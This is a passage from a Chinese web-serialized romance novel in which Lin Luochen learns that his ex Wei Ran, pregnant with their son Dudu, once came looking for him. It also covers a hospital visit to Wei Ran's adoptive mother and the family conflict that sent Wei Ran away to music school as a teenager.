“我是问你。”林洛宸消化了这条最新的情报，接着就没什么耐心地打断对方：“你是说蔚染跟我分手时没拿到钱……这笔钱是四个月以后才拿到的？！” “是的。从您父亲账户的资金调动来看，是这样的。” 林洛宸沉默了。 他第一个想到的是被蔚染强调了无数次的一句话—— 蔚染真是自愿离开他的。 钱什么的只是顺道。 …… 所以蔚染不爱他。真的不是爱他。 ……不是林家的什么人在背后作祟，只是因为蔚染要当明星，不想跟自己谈恋爱。 …… 说不上落寞还是心碎。 林洛宸只觉得自己被兜头泼了桶冷水，担心的事就这样忽然变成了现实，连手脚都一瞬间丧失了温度，变得冰冷彻骨。 ……他林洛宸。他…… 还没卑微到，这样也要黏着对方。 这个瞬间，天之骄子的骄傲让他抛掉了所有卑微和自嘲，甚至心坚地想：既然蔚染无论如何都不爱他，那就算了。 可冷漠逐渐失去温度的眸光，又在看见商店角落里、哒哒哒跑来跑去的西瓜头小幼崽时，忽然融化了。 不，不对，还是哪里不对。 ——既然都已经离开他四个月了，按照蔚染的说法，即使怀了嘟嘟也绝不会回头来找自己。 那么，林家为何会愿意在十月份给蔚染一千万？！ 他父亲虽然财大气粗，但心眼可不大，也还没大方到这种份上、会时隔四个月还同意给蔚染打钱。 除非……是蔚染又因为什么事，又主动找上了他的父亲。 那边听见这个问题，一边估摸着林总的态度，一边猜测说：“从蔚先生这边看，他拿到这笔钱之后率先支付了经纪公司那边的违约金、给品牌方们的赔偿款，最后剩下的一点，蔚先生都转换为礼物的形式回馈给了粉丝……正正好好一千万。 ……所以也不能排除蔚先生是因为经济窘迫，才联络了您父亲，试图……” 林洛宸却冷冷一笑：“经济窘迫，所以一分钱也没给自己剩，是吗？” “……”调查人员不敢再出声。 负责调查的人不了解蔚染的倔劲，但林洛宸却知道。 他知道即使面对再多的违约金，蔚染也不会低头。 他也不需要对面这种不专业的无证据揣测，只吩咐了几个事情，林洛宸就挂断了电话，转头拨出了他父亲的号码。 等着对方接通电话的时候，林洛宸心脏鼓跳如雷，也说不上是激动的、被气的，还是心疼的—— 他父亲给蔚染打钱，一定是因为蔚染主动找上了林家。 可蔚染找上林家，一定不是为了钱。 …… 那么那个时候，那个时间点……蔚染是为什么找上林家…… 已经显而易见。 ——他不是找上了林家。 他是在找自己。 至少那个时候、那个最开始的时候，蔚染是有想告诉自己，嘟嘟的消息…… 电话接通了，林洛宸不管不顾地直接问： “蔚染当初是不是回来找过我，在他刚知道自己怀了嘟嘟的时候？？”—— 作者有话说：[可怜][可怜][可怜] 第38章 蔚染跟导演编剧那边商量完剧本的事, 已经是三个小时后了。 这还远没到剧本研读阶段。 这次只是陈格导演感受到资本的大力扶持、在百分百确定他们这个团队组建不会出现变动后，便联系了编剧，希望编剧可以结合蔚染的特色, 把男主塑造得更具魅力一些。 说是这么说，其实就是想要角色更贴演员。相当于变相地给蔚染“量身定制”。 但事实上编剧仅是通过视频会话的方式看见蔚染，就已经被这个年轻人帅得移不开眼了。 前两天蔚染上的那个热搜还让编剧老师心里有些犯膈应，他塑造的男主可是一代枭雄。 尽管整套剧情大起大落, 开篇时男主已经落魄, 可那种大马金刀的感觉必须还在。 他很担心蔚染会驾驭不了这个角色。 毕竟网上形容蔚染，用到的词汇大半都是“苍白羸弱”, 而且现在全网还都在找蔚染孩子的另一个爹……这都什么事儿啊？ 这也是他今天同意连线的原因。 陈格找的这位编剧老师，在圈内已经算相当有资历。 可内娱的编剧向来没什么话语权, 资本敲定了男主, 如果这男演员实在驾驭不了他笔下的角色, 他也只能改。 但单是透过摄像头、看见蔚染笔直地坐在那里, 漆黑的眸子眸光坚定发亮, 气质如玉如兰, 编剧就觉得稳了—— 甭管长得像不像个糙汉武将，最起码重臣的风骨有了。 这穿上戏服以后绝对会更好看！ 之后，蔚染又试着演绎了下男主这个角色。 没有妆造，视频里头的他却像是变了个人，一张斯文俊秀的老实人面孔秒变新剧本中男主“奸懒馋滑”的表象，但又不会显得油腻，反而还可以从眼神中看出男主内在的坚毅，暗示其实外在的松散都只是演戏。 几个简简单单眼神戏就让编剧老师大为惊叹，当即表示这就是他塑造的男主，剧本不需要改！ 陈格也因此挺直腰杆, 又有点无地自容——蔚染的实力她不质疑，但最近网上的事闹的，倒是让团队的其他人有些动摇。 陈格就想出了这个法子，先让团队其他人也见见蔚染。 一方面是给大家吃颗定心丸，证明自己的眼光不会错；另一方面她也可以顺便舔舔资本，制造成这部剧是专门为蔚染量身打造的假象，突显出自己团队对蔚染的重视。 但没想到时隔两年，蔚染的演技更牛了，根本不需要“量身定制”剧本这一说，自己组建的这场“改剧本”的局，反而有点辱没蔚染的意思了。 可蔚染倒没觉得自己被辱没。 且他永远是善良随和的。 ——在编剧老师大呼改无可改时，他便温和地笑了一笑，将剧本翻到中间一页，说：“老师，但是我觉得这里其实还可以加一个小细节，以凸显……” 之后，几个人就顺理成章地、开始针对剧本的一些小细节展开了讨论，这次的视频会议又重新变得有意义起来，陈格的局也算是没白组。 陈格感激地透过屏幕看了看蔚染，就加入了聊剧本的行列。 但完善剧本环节的工作量也很大，即使不需要再为蔚染更改什么地方，几个人单是商量一些小漏洞、加上一些各自想到的有趣的小细节，就商量了两个多小时。 这还只是部分几场戏。 编剧老师已经被蔚染说嗨了。 很明显蔚染有在逐字逐句地打磨剧本，而且已经对现有情节了如指掌。 几方难得认真负责的人好不容易凑在一起，如果不是今天实在太晚，他们大概会一直聊下去。 最后还是在陈导的提醒下，他们干脆约定了下次见面聊的时间，这才“依依惜别”着下线。 蔚染关掉视频会议的时候，半边身子都僵了，精神却还是亢奋着的。 他还是喜欢演戏。 一想到再过一个多月自己就要进这样一个剧组拍戏，就兴奋得不能自已。 当然他也没忘乎所以，关掉设备后，蔚染就赶紧起身去隔壁房间找嘟嘟了。 林洛宸订的这个房间是个大套间，外面是个客厅，大概一个小时以前林洛宸就带嘟嘟转回来了，没有打扰蔚染开会，那一大一小直接回到里面的卧房里。 蔚染想嘟嘟了，也担心自家崽崽。 这次来W市王阿姨没跟着，蔚染还是会担心…… 拉开门的时候，蔚染一眼看见嘟嘟已经在小床上睡着了。 毕竟是豪华酒店特意准备的亲子房套间，其中安排给宝宝住的床也是顶舒服的。 五短身材、仰躺在小床上的嘟嘟也没占据多大的位置，宝宝身上盖着小毯子，头顶上的灯关着，林洛宸则就坐在黑暗里，借着不远处的小夜灯在对着电脑，不知道看些什么东西。 见蔚染进来，他抬起了头。 蔚染瞬间有些不好意思了，低声说：“怎么不开灯？” 不开灯看电子屏幕很伤眼睛，他表示：“你把嘟嘟这边的灯关了就好了啊，他睡觉不怕光的。” 蔚染这是下意识地不想麻烦别人，更不愿意因为自家的事耽误了别人，才会觉得心里过意不去。 林洛宸明白他的意思，于是心中愈加发堵，他将膝盖上的电脑合上，也没开灯，站起来就走向蔚染。 “嘟嘟也是我的孩子。” 小夜灯的光芒让林洛宸在蔚染身上落下一道阴影。 蔚染被逼到角落，有点不适应地低下了头，又一次沉默。 ……在他心里，嘟嘟只是他一个人的孩子吧。林洛宸想。 是啊，从始至终，自己也没有参与过什么。 林洛宸现在还清晰地记得，蔚染前几天才亲口说过：“即使那个时候能联系上你，我也不会去找你”。 可事实证明，蔚染撒谎了。 蔚染没必要撒谎。蔚染也不喜欢撒谎。 除非那段记忆对于他来说特别不好，是顾及不了是否诚实、也要毫不犹豫去遮掩的事实。 而林洛宸也已经从自己父亲那里验证了——蔚染的确有找过自己。在怀上嘟嘟四个月的时候。 但那时候，蔚染被林家的人残忍地轰了回去。 …… 林洛宸想象不到那个场景。 因为只要稍微设身处地地去想，他就心痛得要窒息。 ——蔚染曾经，是多傲气的一个人啊！ “蔚染。” 顾不了许多了，林洛宸张开手臂就抱住了蔚染。 …… 原本就已经被他逼到一个角落里，蔚染根本躲不开，也没有躲。 他搞不懂这个人为什么忽然要抱自己。 ……得知跟嘟嘟的关系后，林洛宸反而规矩了许多。 林家那边的事情不解决，他大概会永远规矩下去。 所以无论是过去还是现在，林洛宸都是这样“正”的一个人。这一点一直让蔚染很安心。 就如同现在，这个抱也只是一个拥抱。 蔚染虽不解，但也没有抗拒，他甚至还轻微皱起了眉头，关心道：“你怎么了？是遇见什么不顺心的事？” 林洛宸现在可是他对抗林家和帮他带娃的主力，于公于私，蔚染觉得自己都应该安慰一下这个跟自己暂时处在同一条船上的人。 蔚染的声音很轻。 一方面是怕吵醒嘟嘟。另一个方面是他们离得这样近，房间这样静。轻微的呼吸声都可以被彼此听到。 林洛宸没有说话。 但抱他抱得更紧了。 蔚染觉得对方的呼吸变得更重。 是压抑着的深沉的深呼吸，像背着一座大山一样凝重。 于是他更加不解。 半晌后，林洛宸才说：“……染哥，我那时候，是真出了车祸。” “……” 蔚染表情一滞：“……怎么又忽然说这个……这我已经知道了。” 过去的事他是真的不想再提。 于是发白的嘴唇噙动，他依旧用很低的声音说，“我说了我没怪过你……” 可林洛宸却说：“如果不是那时候出了那个意外，没有人可以欺负你。” 蔚染：“……” 林洛宸不是在给他自己找借口、求原谅。 他在说的是，如果那时候他在，就没有人可以欺负到蔚染头上。 我没有觉得我出了事故、你找不到我你就应该原谅我。 我只是在心疼你那段时间，没有找到我。 他是想告诉蔚染些什么，是想安慰那个曾经鼓起勇气回去找他、却被他家人残忍驱逐的人点什么。 于是他冒昧地抱住了他。 并在这里郑重其事地告诉他：“蔚染你永远有我，只要我还在。” “…………” 蔚染垂在身体两侧的手狠狠一抖。 长睫也在黑暗中拼命晃动，试图阻止有什么液体不争气地涌出。 ——林洛宸知道了。 明明好像什么也没说，但蔚染就是懂了—— 林洛宸知道自己那时有去找过他，并被林家狠狠扫地出门。 但是其实，那也依旧只是蔚染一个人的事情而已。 “没事儿，小事儿，算了吧。”蔚染动了动嘴唇，声音更低地说。 说给他们两个人听。 黑暗里，温吞的绵羊音缓慢地响起： “当时的确觉得挺没面子，但是事后想想，我厚着脸皮回去找你，就该有那样的待遇。” “不是，那不一样……” 蔚染拍了拍林洛宸，或许是看不见对方表情的缘故，也或许是一身棱角被磨平后、他在这个人面前也早已没了兄长包袱，蔚染发现自己其实也不太在乎在对方面前丢人了。 于是他语气更轻松：“真的没事，都过去了。倒是你……车祸恢复得怎么样？” 蔚染发现自己一直没有问过对方这个问题。 虽然他已经托季养运去打听了，可林家嫡长孙的病历，怎么可能是他们这样的人能摸到的。 所以他也的确应该亲口问一问。 林洛宸却抓住他那只手。 被蔚染这么语气轻松地一打岔，林洛宸都不知道该说些什么。可这一晚上的心疼不会就此弥散，他就抱着他，握着他的手，感受掌心下的这具修长躯体瘦得硌人、没有一点肉，就更不愿意放手了。 “蔚染，你对我做什么我都愿意。” “嗯？” “你甩了我，回来找我，我都愿意。只要你开心。” “……” 林洛宸并不知道自己在说什么，可能车祸后遗症还在，他脑子还没好，他胡言乱语：“你做什么都好，但是你别怪你自己，你做什么我都愿意……” “林洛宸。” 对方换上多年前小狼狗的语气，蔚染很不适应。尤其是这样黑暗的环境里，有一刹他甚至分不清过去和现实。 而蔚染也早不是会放纵自己沉溺的人了。 不着痕迹却猛地深吸口气，他又拍了拍对方，这次轻轻地把人推开。蔚染说：“不用心疼我，你忘了么？是我先甩了你。” 林洛宸便说：“好，那我再问你一遍，最开始，你真是自愿跟我分手？” “是。” “没撒谎？” “没有。” “是因为什么？” “因为我不想谈恋爱。”蔚染说。 “好，那我不用听了。”林洛宸说。 蔚染：“……” 林洛宸又猝不及防地问：“那蔚染，你现在想谈了吗？” 蔚染：“…………” 现在想不想谈恋爱，蔚染最终也没回答这个问题。 林洛宸也没追着问。 他们好像都已经过了谈恋爱的时候了，说多了都是矫情。 这天晚上，林元正坐上了回墨尔本的飞机。 是林洛宸亲自安排、亲自找人“送”他上的飞机。 “等这边事情安排好以后，我回去给老爷子一个交代。”他对自己的父亲说。 林元正才发现儿子回国的这些天，已经变了个人。 以前的林洛宸也是高冷的、是锋芒毕露的，尤其在做重大决策的时候，他从来不需要依靠、亲近任何人，从来都是那么雷厉风行。 但天才总是不近人情的。 从前林元正对林洛宸这种不食烟火的冷，其实很满意。 可现在的林洛宸似乎变得更冷情了——他对亲情感情不再是不在意，而是带着一种敌意，态度坚冷到让他这个当爹的都觉得陌生。 而且林洛宸这才回来多少天？现在整个国内的市场行情、林家的人脉，甚至是自己可以动用的人，竟然都已经“改头换面”，被他林洛宸所控制！ ……他的儿子变得更强了。 强大到亲爹发现这点后都打怵。 意识到这一点的林元正也做不了什么，只能听从林洛宸的安排，先行返回了墨尔本。 第二天一早，蔚染就带着嘟嘟去医院探望白女士。 昨天手术结束后白女士沉睡了一段时间，后来麻药没过劲儿、人也不清醒，都没有跟蔚染他们说上两句话。 但休息了一夜过后，白女士今天的状态已经明显好了很多。 蔚染把嘟嘟抱到奶奶床前跟奶奶说话，接着又指了指沙发，让林洛宸坐那边，他自己则抽出一把椅子坐在病床边儿上。 白女士昨天已经见过林洛宸一面，但当时昏昏沉沉没什么记忆了，这会儿看见这个个子高大、长相年轻的男人亦步亦趋地跟着蔚染，白女士便问：“阿染，这位是？” “阿姨，我是蔚染的朋友。” 不用蔚染回答，林洛宸已经会抢答了。 林洛宸今天没穿西装，也跟蔚染一样穿了一身简单的运动装和牛仔裤，看上去比平时青春洋溢了许多。 白女士就笑了笑，刚想说蔚染这些年很少带朋友回来给她看，之后又猛然想起，这些年蔚染自己都很少回家。 …… 她身为养母，总有些事是亏欠了蔚染的，于是白女士也什么都没说没问，只是让林洛宸吃水果。 蔚染已经自动拿起刀来削苹果。 白女士不好意思问蔚染的私事，就只能跟蔚染聊她家里的事：“老二那边又闹着要离婚呢，这回我也摔坏了，管不了他们了。” 曹辉的事蔚染也没辙。 他就把林洛宸可以送白女士回加拿大的事说了。 白女士的腿伤需要修养好几个月，留在这里不仅不能再帮忙看孩子，恐怕还会成为拖累。 蔚染知道养母这会儿是想回去养病，所以主动提出来。 白女士也没想到蔚染的这位朋友这么有能量。 “如果是这样，那再好不过了，阿染也别叫你朋友破费，费用还是我们家出。” “阿姨您别客气。”林洛宸稳稳坐在沙发上，明明与病床还有一段距离，语气上却叫人觉得亲近，他说：“您是嘟嘟的奶奶，嘟嘟是我儿子，那您就是我阿姨了。” “……？”白女士有点被绕晕了。 但重点的那句他跟嘟嘟的关系倒是没有落下，她震惊地看着蔚染——说实话，嘟嘟的另一个爹是谁，她也不知道。 当初他们怎么追问蔚染，蔚染也没说。 那会儿蔚染是真没办法才把怀嘟嘟的事跟养父母坦白的，那时候他想的还是必须得找个私密性好的医院做手术。 当然手术最终没做成，但生嘟嘟的时候也全仰仗了养父母的照顾。 蔚染为此千恩万谢，可即便这样，他也没透露过孩子另一个爹的身份。 而白女士夫妇最终也没敢太逼问蔚染。 他们询问那个人的身份也是担心蔚染被人骗了受了欺负，但终归，白女士是自责自己没有照顾好蔚染。 眼下，有个声称是嘟嘟父亲的人，就出现在了自己面前。 “阿染……” “不是，没有。”蔚染想也没想，直接在养母面前否认了：“他只是嘟嘟的干爹。” 嘟嘟喜欢认干爹的事，蔚染曾经跟白女士吐槽过。 白女士想起这一茬儿，不由又放松下来，再次笑了。 坐在奶奶床头的嘟嘟则不明所以，黑葡萄似的大眼睛眨啊眨。 林洛宸：“……” 林洛宸没出声，他其实不意外蔚染不承认自己，所以也没什么。 ……真没什么。 屈膝坐在沙发上的他也只是皱了皱眉头而已。 在场的人中，反而是矢口否认了林洛宸身份的蔚染，是最不自在的那个。 但蔚染也没再说什么，只沉默地低头继续削苹果。 白女士见了他的动作，又惊讶又新奇地说：“染染也长大了，以前你最干不了这种精细活。” 蔚染以前不喜欢削苹果，他也不喜欢吃苹果皮，所以一般都很少吃苹果。 说起来他吃苹果最多的时候，还是林洛宸给他削苹果皮的那段时光。 ……至于他现在可以这么熟练地削皮，还是他当配角的时候因为有一场戏需要，他特意在片场上练的。 …… 蔚染的头埋得更深。 其实以前林洛宸也不喜欢削皮。 或者说大少爷这辈子都没关注这种事，林洛宸连削皮的概念都没有。 那后来他是如何、又在何时开始干这种事的呢？ 蔚染发现自己竟然都没有注意过。 ……他终究还是对不起林洛宸的。 不仅仅是答应跟对方在一起、又在两天后提出分手这件事上。 而是更早……从最开始，他就不应该放任对方靠近自己。 …… 大概是靠近了给过自己母爱和关怀的白女士的关系，蔚染从今天起，就一直下意识地想起另外一个人的脸。 ……那是一张同样温和、会饱含包容地对他微笑，同样让他能感受到一种类似母爱的慈祥面容。 那张面孔跟林洛宸很像，正是林洛宸的母亲、蔚染的老师。 记忆里的那张面孔，到了最后也是苍白虚弱的。 蔚染记得，那天他的老师也是这么坐在病床上，对去探望她的他说，“老师得了绝症，活不久了。” 而记忆中最让蔚染无地自容的一幕，是老师忽然紧紧握住他的手，问他：“阿染，你老实告诉老师，你是跟洛宸在一起了吗？” ……—— 作者有话说：争取明天写完所有前尘[求求你了][求你了][可怜] 第39章 中午的时候, 曹辉从机场把他哥曹涉接过来了。 曹涉比蔚染大了两岁，身为从小就德智体美劳样样优秀的曹家长子，曹涉看着的确体面了许多, 他穿长羊绒大衣，戴金丝边框的眼镜，妥妥一股骨干精英的味儿。 即使坐了十几个小时飞机赶过来，人也是干净精神的, 气质上与曹辉就完全不像是兄弟。 一进病房, 曹涉就率先环视了一圈，视线在蔚染身上先停留了几秒, 打过招呼后，又看见了一旁的林洛宸。 这次他愣的时间更久了些, 视线在蔚染和林洛宸身上来回穿梭, 直到林洛宸觉得怪异, 主动伸手：“你好, 曹先生。” “想必这位就是阿染的朋友林先生了, 你好。”曹涉跟林洛宸握了握手。 来的路上他已经听曹辉说了, 昨天蔚染带来了一位朋友，他们母亲的手术、以及现在住的病房，都是那位朋友安排的。 他知道这个事。知道蔚染带来了一位厉害的朋友。 只是没想到对方今天也在。 “……我母亲的事，麻烦林先生了。”曹涉礼貌地说。 “客气。” 林洛宸审视了一下对方，没看出什么异常，嘴上已经理所当然地说：“蔚染的事就是我的事。” “既然大哥来了，那阿姨，没什么事的话我们就先回去了。”这时候，蔚染突然提出要走。 白女士愣了愣，就连林洛宸也微微诧异起来——刚才他们在病房里天南海北的聊天还好好的, 蔚染没张罗过要走，而且蔚染今天也没什么行程。 不过白女士也只是舍不得蔚染和嘟嘟，稍微一愣后她就点了点头，没再挽留，而是说：“好，那正好阿染你带嘟嘟回去好好休息。” “知道了阿姨。”蔚染笑了笑。 曹家大哥刚刚把外套风衣挂起来，听说蔚染要走，他动作迟疑地转身，对蔚染说：“阿染不再待一会了。” 蔚染也冲他笑了笑：“嗯，嘟嘟累了，而且我下午还有事……对了大哥，阿姨的午饭……” “我跟我哥在这，还能饿到我妈啊？”曹辉语气很冲地打断了蔚染。 “阿辉！”曹涉阻止自己弟弟的没礼貌。白女士也很不满意曹辉的态度，当即训斥了二儿子一番，蔚染则全当他不存在。 曹辉面对自己母亲和大哥的混合双骂，还很是不服气地嘀咕：“本来就是，他要走就走呗，这儿哪买不到吃的……” “曹辉，闭嘴。”曹涉也加入呵斥弟弟的行列。 曹辉谁都不服，但却听他哥的话。曹涉让他闭嘴他就闭嘴了，病房安静了下来，曹涉重新看向蔚染：“阿染，你……” 蔚染对曹涉又是一笑，说：“那我就先走了。” 之后他跟白女士打了声招呼，也让嘟嘟跟奶奶告别。 “奶奶，拜拜。”嘟嘟很听蔚染的话，爸爸说要走，他就伸开莲藕一样的小胳膊乖乖抱住爸爸，小充电宝一样地贴在蔚染身上。 蔚染稍一用力，就将嘟嘟抱了起来向外走。 林洛宸帮蔚染推开病房的门。 蔚染径直离开，林洛宸跟在后面。 这一上午跟曹家的相处，让林洛宸觉得哪里不对劲。 蔚染的养父母对蔚染很好，一直视如己出，物质基础和教育资源上都给予了他百分百的支持。 不过这些都是蔚染给他讲述的版本。 有些地方，林洛宸五年前就觉得不大对—— 在蔚染的讲述里，蔚染没到十八岁，高中还没毕业就被曹家送到了美国知名的音乐学院学习乐器和声乐，可林洛宸知道，蔚染爱的是演戏。 所以年轻的时候他还问过蔚染，既然那么喜欢表演，怎么不直接去表演学院念书，非要先拐个弯儿地来学音乐。 “一边得忙着从音乐学院毕业，下了课你还得再去表演班上课。这毕业以后也是先以音乐出道，之后再转行演艺圈……你不累吗你？” 那时候他就问过蔚染这个问题。 蔚染的回答是：“因为音乐是天赋啊，演戏是热爱。我就是能兼顾啊，就是这么十项全能。” 那会儿蔚染很爱笑，也很自信。 林洛宸问问题，他就这么阳光灿烂地回答着，以至于林洛宸完全没有多想，直接就信了他的话。 可如今见到了蔚染和他养父母一家的相处模式……感觉除了在白女士面前蔚染表现得挺自然随意以外，跟其他人的关系都挺怪。 病房内，蔚染离开后，曹涉又对弟弟进行了一通批评教育。 “都多大的人了，还这么没礼貌，蔚染是招你惹你了？” 曹辉跟自己的大哥关系再好也还是会回嘴，更何况有些事儿他憋了一天了，当即就忍不住说：“大哥你还护着他，你没看见跟他身边那个男的吗？他俩明显就有一腿！” “你够了，怎么说话呢你？”曹涉是文化人，大概听不了弟弟这么粗鄙的言论，又很快制止。 曹辉却满脸不屑地说：“有什么的，蔚染能干出这事，还怕人说？” “阿辉，住口！阿染是你弟弟！”白女士也听不下去了，连忙呵斥小儿子住口。 可曹辉的脾气就是一点就着，白女士住他家帮他看孩子的时候母子两个就没少吵架，这会儿又被母亲训斥、他就更来劲了，当即说道：“我说错了吗？一辈子就只会勾搭人，长那么好看他倒是一点没浪费，当年就勾引了大哥，之后还不知道跟谁生了……” “曹辉！” “哐！” 曹涉和白女士同时喊曹辉的名字，与此同时，一道震天响的踹门声响起，有人大步流星地从门外走进来。 门板被暴力踢开的声音太响亮，屋里的人都被吓了一跳，以至于“砰——”，曹辉的一侧面颊被人用拳头狠狠击中，屋里面的人也都还没反应过来。 曹辉也蒙了，连呼痛都忘了，他在剧痛中下意识一摸鼻子，就摸到了一手血。 而冲进屋里打人的人，步伐倒依旧稳健—— 林洛宸睥睨着站在另一边的曹涉，姿态高高在上地、足足打量了半分钟。 曹涉脸色很差地瞥开眸光，床上的白女士露出痛苦又尴尬的表情。 但整个病房都陷入了一种极度诡异的安静中。 半分钟后，曹辉反应过来，要跟林洛宸动手。 林洛宸没什么好脾气地说：“想好了你再上，不想死的话，以后别提蔚染。” 曹辉：“……” 林洛宸又干脆无视了他，一转身，只跟病床上的白女士说：“蔚染的手机落下了，我帮他拿。” 说着，他抬步走到沙发边上，弯腰伸手、从夹缝里摸出一只白色的手机。 再度直起腰来以后，林洛宸什么都没说地抬腿就走，如他来时一样气势汹汹。 病房外面，蔚染脸色发白地单手抱着嘟嘟，另一只手压着嘟嘟的耳朵，顺便也压着宝宝的头、把嘟嘟的另一侧耳朵也轻微按压在自己身上。 嘟嘟不解其意，他还不懂听墙角，根本不知道发生了什么，但他能感觉出爸爸忽然有点不开心。 于是作为爸爸的小暖宝，嘟嘟就靠在爸爸怀里抱好爸爸的脖子，不闹也不动，大眼睛忽闪忽闪地看着刚出来的林洛宸，乖得像小猫一样。 林洛宸看着这父崽两个，再度迈开大步走上去，伸手抱过嘟嘟。 说是要从蔚染手里接过嘟嘟，但可能他迈的步子太大、走得太急，一张开手臂就将蔚染也一整个圈在了怀里。 “回家。” 林洛宸略微低头，嘴唇正好擦在蔚染的耳边，他声音斩钉截铁：“蔚染，我们回家。” 蔚染没来得及答话，手里的嘟嘟就被林洛宸抱过去了。 林洛宸一手抱着嘟嘟，另一只手顺便下滑牵住他的手，在蔚染完全没反应过来的时候，已经拉着他向走廊尽头的电梯走去。 “阿染……” 病房的方向，曹涉不放心地追出来，看见的就是两个人牵手并肩离开的背影。 进电梯以后，蔚染反应过来，把手从林洛宸的手掌里抽了出来。 等到了楼下，蔚染已经神色如常。 “嘟宝饿了么？想吃什么？” 他若无其事地试图从林洛宸那里把嘟嘟接回来，但被林洛宸有技巧地避开了。 蔚染只好继续任由对方抱着嘟嘟。 对面一大一小两个人齐齐打量着蔚染。 在确定爸爸没什么不对劲儿后，嘟嘟很快就被蔚染的问题给拐走，开始认真想中午要吃什么。 但是嘟嘟还太小，对吃的东西没概念，又什么都喜欢吃，于是想来想去，就只想到了昨晚在酒店里吃的黑椒牛柳。 “那我们就去吃粤菜，喝点汤，今天天气冷。”林洛宸干脆提议。 “好呦。”嘟嘟开心地在林爸爸怀里拍小手。 蔚染自然也没意见。 方才在病房里的小插曲似乎就这样过去了。 蔚染表现得太淡然，淡到林洛宸都觉得自己刚才有点大惊小怪，于是中午吃完饭、哄嘟嘟睡了午觉，他自然而然地就提到了这个话题。 那会儿蔚染正盘腿坐在沙发上看剧本。 本来蔚染也应该去午睡，但林洛宸在房间里面哄嘟嘟，他不太想躺过去，就一直猫在沙发上面。 林洛宸的问题问得很直白：“他们说的事……就是你去读了音乐学院，没去学表演的原因吧。” 蔚染翻剧本的动作骤然停顿。 林洛宸走过去，坐在沙发的扶手上，长腿撑着地。 他目视前方说：“可是曹辉说的事一定是假的，你不是那样的人。” 蔚染：“……” 今天天气有点阴。 好像秋冬季节大部分城市都是这样的，中午好不容易见了点阳光，这会儿天空就又变成了铅灰色。 到处都白茫茫一片，看不见边际也好似看不见希望，除非偶尔有几只飞鸟掠过。 林洛宸继续说：“而且如果真是你做错了，你养母也不会是这个态度。” 蔚染握着剧本的手狠狠抖了一下。 “那都是我小时候的事了。”蔚染语气很淡，不是很想说。毕竟已经过去至少十年了。 “可是你曾经也没有对我说过。”林洛宸上身微微前倾，双手搭在自己腿上，忽然有点吃味地问：“你对别人说过吗？以前咱俩关系最好。” “……” 蔚染又沉默，林洛宸就轻轻笑了，他就当蔚染默认了——五年前，甭管有没有爱情，至少那时候他跟蔚染关系最好。 蔚染：“……其实真没什么。” 五年前蔚染没跟林洛宸说过这件事，多少还有点这件事压在他心里没过的意思。 可现在再回想，那算什么事儿呢。 “那年曹涉高中毕业，被美国top10的大学录取了，但是他没去。……说是因为我。” “……” 蔚染从小性格就好，长相也过分精致，被接到曹家以后，除了曹辉以外，养父母和曹涉待他都特别好。 但蔚染也不知道曹家大哥的这份好是在什么时候变了质的——他那时候是真小，也真不开窍。 他以为大哥对他的关心和维护都是出于兄弟情，偶尔一些肢体上的接触也是如此，就跟他在学校里跟同学打篮球时、会不经意间发生一些触碰一样。 可是忽然有一天，家里的天就变了。 蔚染起初是听说大哥藏起来的有关他的物品被养父母发现了，那时候刚刚放学回家的他还很奇怪，怎么自己的东西在大哥那里，自己都没说什么，问题就这么严重了。 后来他才知道，那些“私藏”多少是有些变态了…… 当然更严重的问题是，从来样样都优秀的曹涉，竟然没有问过他父母的意思，就自己改了志愿，选择留在多伦多读大学。 而被逼问出来的理由竟是：他不放心蔚染一个人留在这边。他担心蔚染会被欺负。 这下蔚染也懵了。 蔚染的骨架是比同等身高的男性要小一些，他还调侃过自己，能长这么高也是奇迹。 除此之外，他皮肤白、脸庞秀气，似乎当真很容易让人升起保护欲。 上初中的时候，就有同学为他打架。同样是华侨移民过去的同学，甚至还戏说他是苏妲己。 但是，蔚染从未觉得自己需要人来保护。 总是来找他麻烦的曹辉都没有落下过什么好，不是说蔚染不会吃亏，而是他天生不屈不挠、乐观自信和无所畏惧的精神，让他总能在最后把场子找回来。 可即便这样，还是总有同学莫名其妙地跳出来要保护他、要对他好。 为此，少年蔚染并不感动也不感念对方的好，在他看来这是对方觉得他弱的象征。 蔚染的梦想是做一名武打明星，也有这方面因素。他想告诉别人他很强，他不需要人保护。 但他没有想到连曹涉也会这样。 而且还比所有人都要丧心病狂——曹涉亲口说，一想到蔚染要离开他的视线范围，他就难以忍受。 林洛宸：“……” 但曹涉一直太优秀了，谁也没往他精神异常方面去想。于是从父母、长辈或外人的角度来推论：不是曹涉疯了，那就是蔚染跟他哥的确有什么。 “他们不相信你？”林洛宸脸色撂了下来。 “没有，不是。”蔚染轻轻笑了笑，脸色又有些苍白。 这样的蔚染，的确很想让人冲上去抱抱他。 蔚染说：“他们没有不相信我，曹涉也没有说过我们有什么。但是……” 但是他的养父母还是被吓坏了。 或者他们也的确不够相信他。 总之当时的情况就是，受到了巨大冲击的养父母，第一反应就是必须让曹涉与蔚染分开，最好再也不要见面。 考虑到曹涉的偏执程度，他们已经无法让蔚染跟曹涉继续生活在一个屋檐下、甚至是一个城市、一个国家了。 所以蔚染提前去了音乐学院。 “北美顶级的音乐学院，招收特长生，妈妈把你的视频和证书发给他们了，他们很乐意破格提前录取你。” 那天，坐在钢琴前的白女士红着眼眶说。 蔚染那时候还不如现在这样沉稳和习惯沉默。 他明白白女士的意思，但这个安排与他的梦想背道而驰，所以他还是开口为自己争取：“可是阿姨，我想去读表演系，您不是已经帮我报过课程了，再过一年，等我高中毕业就可以……” “阿染，原谅妈妈，就当妈妈求你。”白女士直接哭了出来，却不愿再去看蔚染。 然后蔚染就什么都懂了。 曹涉的偏执和性取向让曹家人发慌。 尤其是在问题爆发之前，他太优秀了，完美到无懈可击，谁也没想到会这样，于是曹氏夫妇将希望寄托于把他们两个分开，长久地分开，曹涉就可以恢复正常。 他们想要一个正常优秀的大儿子大过了一切。也愿意付出一切。 那一天，蔚染好像一下子长大了……至少长大了一半。 他没有问为什么走的是他。 在半路的养子与优秀的大儿子之间做抉择，这个问题好像不需要再问。 …… 平时端庄得体的养母，仅仅过了两天时间，神情就变得异常憔悴，头发凌乱。 蔚染看了看这样的白女士，又看了看那架十岁时、养母送给他的钢琴，妥协了。 他接过养母手中的空行李箱，拖回房间开始收拾自己的东西。 他答应她了。并且此后也坚定履行了承诺—— 他绝不会跟曹涉单独相处，如无必要，也不会跟曹涉出现在同一个地区、同一个国家。 一直到现在这一刻。 蔚染就是这么倔。 “……可是他们都后悔了，我看白女士的样子，她应该是觉得很对不起你。”林洛宸沉默良久后说。 他们当然后悔了。 